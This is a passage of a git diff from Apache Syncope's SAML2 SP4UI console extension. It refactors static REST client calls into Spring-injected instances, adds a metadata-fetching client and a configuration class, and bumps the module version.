b/ext/saml2sp4ui/client-console/pom.xml index dcc8fa3c70b..cbe7f4a9192 100644 --- a/ext/saml2sp4ui/client-console/pom.xml +++ b/ext/saml2sp4ui/client-console/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Client Console diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/SAML2SP4UIConsoleContext.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/SAML2SP4UIConsoleContext.java new file mode 100644 index 00000000000..0bdfbb18141 --- /dev/null +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/SAML2SP4UIConsoleContext.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console; + +import org.apache.syncope.client.console.resources.saml2sp4ui.ConsoleAssertionConsumerResource; +import org.apache.syncope.client.console.resources.saml2sp4ui.ConsoleLogoutResource; +import org.apache.syncope.client.console.rest.SAML2IdPsRestClient; +import org.apache.syncope.client.console.rest.SAML2SPRestClient; +import org.apache.syncope.client.ui.commons.resources.saml2sp4ui.LoginResource; +import org.apache.syncope.client.ui.commons.resources.saml2sp4ui.MetadataResource; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class SAML2SP4UIConsoleContext { + + @ConditionalOnMissingBean + @Bean + public SAML2IdPsRestClient saml2IdPsRestClient() { + return new SAML2IdPsRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public SAML2SPRestClient saml2SPRestClient() { + return new SAML2SPRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public MetadataResource metadataResource() { + return new MetadataResource(); + } + + @ConditionalOnMissingBean + @Bean + public LoginResource saml2sp4uiLoginResource() { + return new LoginResource(); + } + + @ConditionalOnMissingBean + @Bean + public ConsoleAssertionConsumerResource assertionConsumerResource() { + return new ConsoleAssertionConsumerResource(); + } + + @ConditionalOnMissingBean + @Bean + public ConsoleLogoutResource saml2sp4uiLogoutResource() { + return new ConsoleLogoutResource(); + } +} diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/SAML2SP4UI.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/SAML2SP4UI.java index 574d9c77221..c2f9c71e952 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/SAML2SP4UI.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/SAML2SP4UI.java @@ -24,6 +24,8 @@ import org.apache.syncope.client.console.BookmarkablePageLinkBuilder; import org.apache.syncope.client.console.panels.SAML2IdPsDirectoryPanel; import org.apache.syncope.client.console.panels.SAML2SPPanel; +import org.apache.syncope.client.console.rest.SAML2IdPsRestClient; +import org.apache.syncope.client.console.rest.SAML2SPRestClient; import org.apache.syncope.client.ui.commons.annotations.ExtPage; import org.apache.syncope.common.lib.types.SAML2SP4UIEntitlement; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; @@ -32,6 +34,7 @@ import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.request.mapper.parameter.PageParameters; +import org.apache.wicket.spring.injection.annot.SpringBean; @ExtPage(label = "SAML 2.0 SP4UI", icon = "fas fa-sign-in-alt", listEntitlement = SAML2SP4UIEntitlement.IDP_READ, priority = 400) @@ -39,6 +42,12 @@ public class SAML2SP4UI extends BaseExtPage { private static final long serialVersionUID = -4837201407211278956L; + @SpringBean + protected SAML2IdPsRestClient saml2IdPsRestClient; + + @SpringBean + protected SAML2SPRestClient saml2SPRestClient; + public SAML2SP4UI(final PageParameters parameters) { super(parameters); @@ -50,9 +59,8 @@ public SAML2SP4UI(final PageParameters parameters) { body.add(content); } - private List buildTabList() { - - final List tabs = new ArrayList<>(2); + protected List buildTabList() { + List tabs = new ArrayList<>(); tabs.add(new AbstractTab(new ResourceModel("idps")) { @@ -60,7 +68,7 @@ private List buildTabList() { @Override public Panel getPanel(final String panelId) { - return new SAML2IdPsDirectoryPanel(panelId, getPageReference()); + return new SAML2IdPsDirectoryPanel(panelId, saml2IdPsRestClient, getPageReference()); } }); @@ -70,7 +78,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new SAML2SPPanel(panelId); + return new SAML2SPPanel(panelId, saml2SPRestClient); } }); diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/SAML2SPBeforeLogout.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/SAML2SPBeforeLogout.java index 2a7f5c09734..ecd1310c01e 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/SAML2SPBeforeLogout.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/pages/SAML2SPBeforeLogout.java @@ -20,6 +20,7 @@ import java.net.URLEncoder; import java.nio.charset.StandardCharsets; +import java.util.Optional; import org.apache.syncope.client.ui.commons.SAML2SP4UIConstants; import org.apache.wicket.Session; import org.apache.wicket.markup.html.WebPage; @@ -35,12 +36,15 @@ public class SAML2SPBeforeLogout extends WebPage { public SAML2SPBeforeLogout(final PageParameters parameters) { super(parameters); - String idpEntityId = URLEncoder.encode( - Session.get().getAttribute(SAML2SP4UIConstants.SAML2SP4UI_IDP_ENTITY_ID).toString(), - StandardCharsets.UTF_8); + String queryString = Optional.ofNullable( + Session.get().getAttribute(SAML2SP4UIConstants.SAML2SP4UI_IDP_ENTITY_ID)). + map(idp -> "?" + SAML2SP4UIConstants.SAML2SP4UI_IDP_ENTITY_ID + + "=" + URLEncoder.encode(idp.toString(), StandardCharsets.UTF_8)). + orElse(""); + RequestCycle.get().scheduleRequestHandlerAfterCurrent(new RedirectRequestHandler( - UrlUtils.rewriteToContextRelative(SAML2SP4UIConstants.URL_CONTEXT + "/logout" - + "?" + SAML2SP4UIConstants.SAML2SP4UI_IDP_ENTITY_ID + "=" + idpEntityId, + UrlUtils.rewriteToContextRelative( + SAML2SP4UIConstants.URL_CONTEXT + "/logout" + queryString, RequestCycle.get()))); } } diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/ImportMetadata.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/ImportMetadata.java index 37237c9204e..7cf40053eb3 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/ImportMetadata.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/ImportMetadata.java @@ -34,11 +34,15 @@ import org.apache.wicket.markup.html.form.Form; import org.apache.wicket.markup.html.form.upload.FileUpload; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ImportMetadata extends TogglePanel { private static final long serialVersionUID = 6959177759869415782L; + @SpringBean + protected SAML2IdPsRestClient saml2IdPsRestClient; + public ImportMetadata(final String id, final WebMarkupContainer container, final PageReference pageRef) { super(id, pageRef); @@ -65,7 +69,7 @@ protected void onSubmit(final AjaxRequestTarget target) { FileUpload uploaded = fileUpload.getFileUpload(); if (uploaded != null) { try { - SAML2IdPsRestClient.importIdPs(uploaded.getInputStream()); + saml2IdPsRestClient.importIdPs(uploaded.getInputStream()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); toggle(target, false); diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/SAML2IdPsDirectoryPanel.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/SAML2IdPsDirectoryPanel.java index 40470a32918..b9210a3217f 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/SAML2IdPsDirectoryPanel.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/SAML2IdPsDirectoryPanel.java @@ -27,12 +27,15 @@ import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.layout.UserFormLayoutInfo; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.panels.SAML2IdPsDirectoryPanel.SAML2IdPsProvider; import org.apache.syncope.client.console.rest.AnyTypeRestClient; +import org.apache.syncope.client.console.rest.ImplementationRestClient; import org.apache.syncope.client.console.rest.SAML2IdPsRestClient; +import org.apache.syncope.client.console.rest.UserRestClient; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.BooleanPropertyColumn; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.KeyPropertyColumn; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; @@ -44,7 +47,6 @@ import org.apache.syncope.client.console.wizards.WizardMgtPanel; import org.apache.syncope.client.console.wizards.any.UserTemplateWizardBuilder; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.panels.WizardModalPanel; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.client.ui.commons.wizards.any.AnyWrapper; @@ -67,21 +69,30 @@ import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class SAML2IdPsDirectoryPanel extends DirectoryPanel< SAML2SP4UIIdPTO, SAML2SP4UIIdPTO, SAML2IdPsProvider, SAML2IdPsRestClient> { private static final long serialVersionUID = 4792356089584116041L; - private static final String PREF_SAML2_IDPS_PAGINATOR_ROWS = "saml2.idps.paginator.rows"; + protected static final String PREF_SAML2_IDPS_PAGINATOR_ROWS = "saml2.idps.paginator.rows"; - private final BaseModal metadataModal = new BaseModal<>("outer"); + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; - private final BaseModal templateModal; + @SpringBean + protected UserRestClient userRestClient; - public SAML2IdPsDirectoryPanel(final String id, final PageReference pageRef) { - super(id, new Builder( - new SAML2IdPsRestClient(), pageRef) { + @SpringBean + protected ImplementationRestClient implementationRestClient; + + protected final BaseModal metadataModal = new BaseModal<>("outer"); + + protected final BaseModal templateModal; + + public SAML2IdPsDirectoryPanel(final String id, final SAML2IdPsRestClient restClient, final PageReference pageRef) { + super(id, new Builder(restClient, pageRef) { private static final long serialVersionUID = 8517982765290075155L; @@ -90,14 +101,13 @@ protected WizardMgtPanel newInstance(final String id, final boo throw new UnsupportedOperationException(); } }.disableCheckBoxes()); - this.addNewItemPanelBuilder(new SAML2IdPWizardBuilder(this, new SAML2SP4UIIdPTO(), pageRef), false); + + addNewItemPanelBuilder(new SAML2IdPWizardBuilder( + this, new SAML2SP4UIIdPTO(), implementationRestClient, restClient, pageRef), false); modal.addSubmitButton(); modal.size(Modal.Size.Large); - modal.setWindowClosedCallback(target -> { - updateResultTable(target); - modal.show(false); - }); + setWindowClosedReloadCallback(modal, true); addOuterObject(metadataModal); setWindowClosedReloadCallback(metadataModal); @@ -113,7 +123,7 @@ protected void onConfigure() { setFooterVisible(false); } }; - templateModal.setWindowClosedCallback(target -> templateModal.show(false)); + setWindowClosedReloadCallback(templateModal); templateModal.size(Modal.Size.Large); addOuterObject(templateModal); @@ -148,7 +158,7 @@ protected ActionLinksTogglePanel actionTogglePanel() { public void updateHeader(final AjaxRequestTarget target, final Serializable modelObject) { if (modelObject instanceof SAML2SP4UIIdPTO) { setHeader(target, StringUtils.abbreviate( - ((SAML2SP4UIIdPTO) modelObject).getName(), HEADER_FIRST_ABBREVIATION)); + ((SAML2SP4UIIdPTO) modelObject).getName(), HEADER_FIRST_ABBREVIATION)); } else { super.updateHeader(target, modelObject); } @@ -191,13 +201,13 @@ public ActionsPanel getActions(final IModel mo @Override public void onClick(final AjaxRequestTarget target, final SAML2SP4UIIdPTO ignore) { - SAML2SP4UIIdPTO object = SAML2IdPsRestClient.read(model.getObject().getKey()); + SAML2SP4UIIdPTO object = restClient.read(model.getObject().getKey()); metadataModal.header(Model.of(object.getName() + " - Metadata")); metadataModal.setContent(new XMLEditorPanel( - metadataModal, - Model.of(new String(Base64.getMimeDecoder().decode(object.getMetadata()))), - true, - pageRef)); + metadataModal, + Model.of(new String(Base64.getMimeDecoder().decode(object.getMetadata()))), + true, + pageRef)); metadataModal.show(true); target.add(metadataModal); } @@ -208,9 +218,9 @@ public void onClick(final AjaxRequestTarget target, final SAML2SP4UIIdPTO ignore @Override public void onClick(final AjaxRequestTarget target, final SAML2SP4UIIdPTO ignore) { - SAML2SP4UIIdPTO object = SAML2IdPsRestClient.read(model.getObject().getKey()); + SAML2SP4UIIdPTO object = restClient.read(model.getObject().getKey()); send(SAML2IdPsDirectoryPanel.this, Broadcast.EXACT, - new AjaxWizard.EditItemActionEvent<>(object, target)); + new AjaxWizard.EditItemActionEvent<>(object, target)); } }, ActionLink.ActionType.EDIT, SAML2SP4UIEntitlement.IDP_UPDATE); panel.add(new ActionLink<>() { @@ -219,26 +229,27 @@ public void onClick(final AjaxRequestTarget target, final SAML2SP4UIIdPTO ignore @Override public void onClick(final AjaxRequestTarget target, final SAML2SP4UIIdPTO ignore) { - final SAML2SP4UIIdPTO object = SAML2IdPsRestClient.read(model.getObject().getKey()); + final SAML2SP4UIIdPTO object = restClient.read(model.getObject().getKey()); UserTemplateWizardBuilder builder = new UserTemplateWizardBuilder( - object.getUserTemplate(), - AnyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses(), - new UserFormLayoutInfo(), - pageRef) { + object.getUserTemplate(), + anyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses(), + new UserFormLayoutInfo(), + userRestClient, + pageRef) { private static final long serialVersionUID = -7978723352517770634L; @Override protected Serializable onApplyInternal(final AnyWrapper modelObject) { object.setUserTemplate(modelObject.getInnerObject()); - SAML2IdPsRestClient.update(object); + restClient.update(object); return modelObject; } }; templateModal.header(Model.of(StringUtils.capitalize( - new StringResourceModel("template.title", SAML2IdPsDirectoryPanel.this).getString()))); + new StringResourceModel("template.title", SAML2IdPsDirectoryPanel.this).getString()))); templateModal.setContent(builder.build(BaseModal.CONTENT_ID)); templateModal.show(true); target.add(templateModal); @@ -252,7 +263,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject) { @Override public void onClick(final AjaxRequestTarget target, final SAML2SP4UIIdPTO ignore) { try { - SAML2IdPsRestClient.delete(model.getObject().getKey()); + restClient.delete(model.getObject().getKey()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); } catch (SyncopeClientException e) { @@ -275,9 +286,9 @@ public void onEvent(final IEvent event) { WizardModalPanel modalPanel = newItemEvent.getModalPanel(); if (newItemEvent instanceof AjaxWizard.NewItemActionEvent && modalPanel != null) { - final IModel model = new CompoundPropertyModel<>(modalPanel.getItem()); + IModel model = new CompoundPropertyModel<>(modalPanel.getItem()); templateModal.setFormModel(model); - templateModal.header(newItemEvent.getResourceModel()); + templateModal.header(newItemEvent.getTitleModel()); newItemEvent.getTarget().ifPresent(target -> target.add(templateModal.setContent(modalPanel))); templateModal.show(true); } else if (newItemEvent instanceof AjaxWizard.NewItemCancelEvent) { @@ -288,7 +299,7 @@ public void onEvent(final IEvent event) { } } - protected static final class SAML2IdPsProvider extends DirectoryDataProvider { + protected final class SAML2IdPsProvider extends DirectoryDataProvider { private static final long serialVersionUID = -185944053385660794L; @@ -303,14 +314,14 @@ private SAML2IdPsProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { - List list = SAML2IdPsRestClient.list(); + List list = restClient.list(); list.sort(comparator); return list.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return SAML2IdPsRestClient.list().size(); + return restClient.list().size(); } @Override diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/SAML2SPPanel.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/SAML2SPPanel.java index 9385a2948ea..5a93f318616 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/SAML2SPPanel.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/panels/SAML2SPPanel.java @@ -18,11 +18,10 @@ */ package org.apache.syncope.client.console.panels; -import javax.ws.rs.client.ClientBuilder; +import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; -import org.apache.syncope.client.ui.commons.HttpResourceStream; +import org.apache.syncope.client.console.rest.SAML2SPRestClient; import org.apache.syncope.client.ui.commons.SAML2SP4UIConstants; -import org.apache.syncope.client.ui.commons.rest.ResponseHolder; import org.apache.wicket.markup.html.link.Link; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.request.Url; @@ -30,6 +29,7 @@ import org.apache.wicket.request.cycle.RequestCycle; import org.apache.wicket.request.handler.resource.ResourceStreamRequestHandler; import org.apache.wicket.request.resource.ContentDisposition; +import org.apache.wicket.util.resource.IResourceStream; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -39,7 +39,7 @@ public class SAML2SPPanel extends Panel { protected static final Logger LOG = LoggerFactory.getLogger(SAML2SPPanel.class); - public SAML2SPPanel(final String id) { + public SAML2SPPanel(final String id, final SAML2SPRestClient restClient) { super(id); add(new Link("downloadMetadata") { @@ -49,16 +49,15 @@ public SAML2SPPanel(final String id) { @Override public void onClick() { try { - HttpResourceStream stream = new HttpResourceStream(new ResponseHolder(ClientBuilder.newClient(). - target(RequestCycle.get().getUrlRenderer().renderFullUrl(Url.parse( - UrlUtils.rewriteToContextRelative(SAML2SP4UIConstants.URL_CONTEXT + "/metadata", - RequestCycle.get())))). - request().get())); + String spEntityID = StringUtils.substringBefore( + RequestCycle.get().getUrlRenderer().renderFullUrl( + Url.parse(UrlUtils.rewriteToContextRelative( + SAML2SP4UIConstants.URL_CONTEXT, RequestCycle.get()))), + SAML2SP4UIConstants.URL_CONTEXT); + IResourceStream stream = restClient.getMetadata(spEntityID); ResourceStreamRequestHandler rsrh = new ResourceStreamRequestHandler(stream); - rsrh.setFileName(stream.getFilename() == null - ? SyncopeConsoleSession.get().getDomain() + "-SAML-SP-Metadata.xml" - : stream.getFilename()); + rsrh.setFileName(SyncopeConsoleSession.get().getDomain() + "-SAML-SP-Metadata.xml"); rsrh.setContentDisposition(ContentDisposition.ATTACHMENT); getRequestCycle().scheduleRequestHandlerAfterCurrent(rsrh); diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/resources/saml2sp4ui/ConsoleLogoutResource.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/resources/saml2sp4ui/ConsoleLogoutResource.java index ad5894df3e9..18231abb3f3 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/resources/saml2sp4ui/ConsoleLogoutResource.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/resources/saml2sp4ui/ConsoleLogoutResource.java @@ -18,7 +18,7 @@ */ package org.apache.syncope.client.console.resources.saml2sp4ui; -import org.apache.syncope.client.console.pages.SAML2SPBeforeLogout; +import org.apache.syncope.client.console.pages.SAML2SPLogout; import org.apache.syncope.client.ui.commons.SAML2SP4UIConstants; import org.apache.syncope.client.ui.commons.annotations.Resource; import org.apache.syncope.client.ui.commons.resources.saml2sp4ui.LogoutResource; @@ -33,6 +33,6 @@ public class ConsoleLogoutResource extends LogoutResource { @Override protected Class getLogoutPageClass() { - return SAML2SPBeforeLogout.class; + return SAML2SPLogout.class; } } diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/SAML2IdPsRestClient.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/SAML2IdPsRestClient.java index ed627c5ad49..17898fc9e9c 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/SAML2IdPsRestClient.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/SAML2IdPsRestClient.java @@ -23,7 +23,6 @@ import javax.ws.rs.core.MediaType; import org.apache.cxf.jaxrs.client.Client; import org.apache.cxf.jaxrs.client.WebClient; -import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.common.lib.to.SAML2SP4UIIdPTO; import org.apache.syncope.common.rest.api.service.SAML2SP4UIIdPService; @@ -31,29 +30,29 @@ public class SAML2IdPsRestClient extends BaseRestClient { private static final long serialVersionUID = -5084300184764037527L; - public static List list() { + public List list() { return getService(SAML2SP4UIIdPService.class).list(); } - public static void importIdPs(final InputStream input) { + public void importIdPs(final InputStream input) { SAML2SP4UIIdPService service = getService(SAML2SP4UIIdPService.class); Client client = WebClient.client(service); client.type(MediaType.APPLICATION_XML); service.importFromMetadata(input); - SyncopeConsoleSession.get().resetClient(SAML2SP4UIIdPService.class); + resetClient(SAML2SP4UIIdPService.class); } - public static SAML2SP4UIIdPTO read(final String key) { + public SAML2SP4UIIdPTO read(final String key) { return getService(SAML2SP4UIIdPService.class).read(key); } - public static void update(final SAML2SP4UIIdPTO idp) { + public void update(final SAML2SP4UIIdPTO idp) { getService(SAML2SP4UIIdPService.class).update(idp); } - public static void delete(final String key) { + public void delete(final String key) { getService(SAML2SP4UIIdPService.class).delete(key); } } diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/SAML2SPRestClient.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/SAML2SPRestClient.java new file mode 100644 index 00000000000..0d63bc894e9 --- /dev/null +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/SAML2SPRestClient.java @@ -0,0 +1,61 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.rest; + +import java.io.IOException; +import java.io.InputStream; +import javax.ws.rs.core.MediaType; +import javax.ws.rs.core.Response; +import org.apache.cxf.jaxrs.client.WebClient; +import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.ui.commons.SAML2SP4UIConstants; +import org.apache.syncope.common.rest.api.service.SAML2SP4UIService; +import org.apache.wicket.util.io.IOUtils; +import org.apache.wicket.util.resource.AbstractResourceStream; +import org.apache.wicket.util.resource.IResourceStream; +import org.apache.wicket.util.resource.ResourceStreamNotFoundException; + +public class SAML2SPRestClient extends BaseRestClient { + + private static final long serialVersionUID = -5084300184764037527L; + + public IResourceStream getMetadata(final String spEntityID) { + SAML2SP4UIService service = SyncopeConsoleSession.get().getAnonymousService(SAML2SP4UIService.class); + WebClient.client(service).accept(MediaType.APPLICATION_XML_TYPE).type(MediaType.APPLICATION_XML_TYPE); + Response metadataResponse = service.getMetadata(spEntityID, SAML2SP4UIConstants.URL_CONTEXT); + WebClient.client(service).reset(); + + InputStream inputStream = (InputStream) metadataResponse.getEntity(); + + return new AbstractResourceStream() { + + private static final long serialVersionUID = -2268011115723452312L; + + @Override + public InputStream getInputStream() throws ResourceStreamNotFoundException { + return inputStream; + } + + @Override + public void close() throws IOException { + IOUtils.closeQuietly(inputStream); + } + }; + } +} diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/SAML2IdPWizardBuilder.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/SAML2IdPWizardBuilder.java index 7b50bbaaf71..94dc8bc2c85 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/SAML2IdPWizardBuilder.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/SAML2IdPWizardBuilder.java @@ -62,35 +62,46 @@ public class SAML2IdPWizardBuilder extends AjaxWizardBuilder { private static final long serialVersionUID = 5952696913893950460L; - private final SAML2IdPsDirectoryPanel directoryPanel; + protected final SAML2IdPsDirectoryPanel directoryPanel; - private final IModel> idpActions = new LoadableDetachableModel<>() { + protected final ImplementationRestClient implementationRestClient; + + protected final SAML2IdPsRestClient saml2IdPsRestClient; + + protected final IModel> idpActions = new LoadableDetachableModel<>() { private static final long serialVersionUID = 5275935387613157437L; @Override protected List load() { - return ImplementationRestClient.list(SAML2SP4UIImplementationType.IDP_ACTIONS).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(SAML2SP4UIImplementationType.IDP_ACTIONS).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; - private final IModel> requestedAuthnContextProviders = new LoadableDetachableModel<>() { + protected final IModel> requestedAuthnContextProviders = new LoadableDetachableModel<>() { private static final long serialVersionUID = 4659376149825914247L; @Override protected List load() { - return ImplementationRestClient.list(SAML2SP4UIImplementationType.REQUESTED_AUTHN_CONTEXT_PROVIDER). - stream().map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(SAML2SP4UIImplementationType.REQUESTED_AUTHN_CONTEXT_PROVIDER). + stream().map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; public SAML2IdPWizardBuilder( - final SAML2IdPsDirectoryPanel directoryPanel, final SAML2SP4UIIdPTO idpTO, final PageReference pageRef) { + final SAML2IdPsDirectoryPanel directoryPanel, + final SAML2SP4UIIdPTO idpTO, + final ImplementationRestClient implementationRestClient, + final SAML2IdPsRestClient saml2IdPsRestClient, + final PageReference pageRef) { super(idpTO, pageRef); + this.directoryPanel = directoryPanel; + this.implementationRestClient = implementationRestClient; + this.saml2IdPsRestClient = saml2IdPsRestClient; } @Override @@ -214,7 +225,7 @@ protected Serializable onApplyInternal(final SAML2SP4UIIdPTO modelObject) { new StringResourceModel("connObjectKeyValidation", directoryPanel).getString()); } - SAML2IdPsRestClient.update(modelObject); + saml2IdPsRestClient.update(modelObject); return modelObject; } } diff --git a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/mapping/SAML2IdPMappingPanel.java b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/mapping/SAML2IdPMappingPanel.java index efde6339b6c..de5a2cc4f32 100644 --- a/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/mapping/SAML2IdPMappingPanel.java +++ b/ext/saml2sp4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/mapping/SAML2IdPMappingPanel.java @@ -31,11 +31,18 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class SAML2IdPMappingPanel extends AbstractMappingPanel { private static final long serialVersionUID = 2248901624411541853L; + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected AnyTypeClassRestClient anyTypeClassRestClient; + public SAML2IdPMappingPanel( final String id, final SAML2SP4UIIdPTO idpTO, @@ -75,7 +82,7 @@ protected void setAttrNames(final AjaxTextFieldPanel toBeUpdated) { List choices = new ArrayList<>(ClassPathScanImplementationLookup.USER_FIELD_NAMES); - AnyTypeClassRestClient.list(AnyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses()). + anyTypeClassRestClient.list(anyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses()). forEach(anyTypeClassTO -> { choices.addAll(anyTypeClassTO.getPlainSchemas()); choices.addAll(anyTypeClassTO.getDerSchemas()); diff --git a/ext/saml2sp4ui/client-console/src/main/resources/META-INF/spring.factories b/ext/saml2sp4ui/client-console/src/main/resources/META-INF/spring.factories new file mode 100644 index 00000000000..b38b23793ba --- /dev/null +++ b/ext/saml2sp4ui/client-console/src/main/resources/META-INF/spring.factories @@ -0,0 +1,19 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.client.console.SAML2SP4UIConsoleContext diff --git a/ext/saml2sp4ui/client-enduser/pom.xml 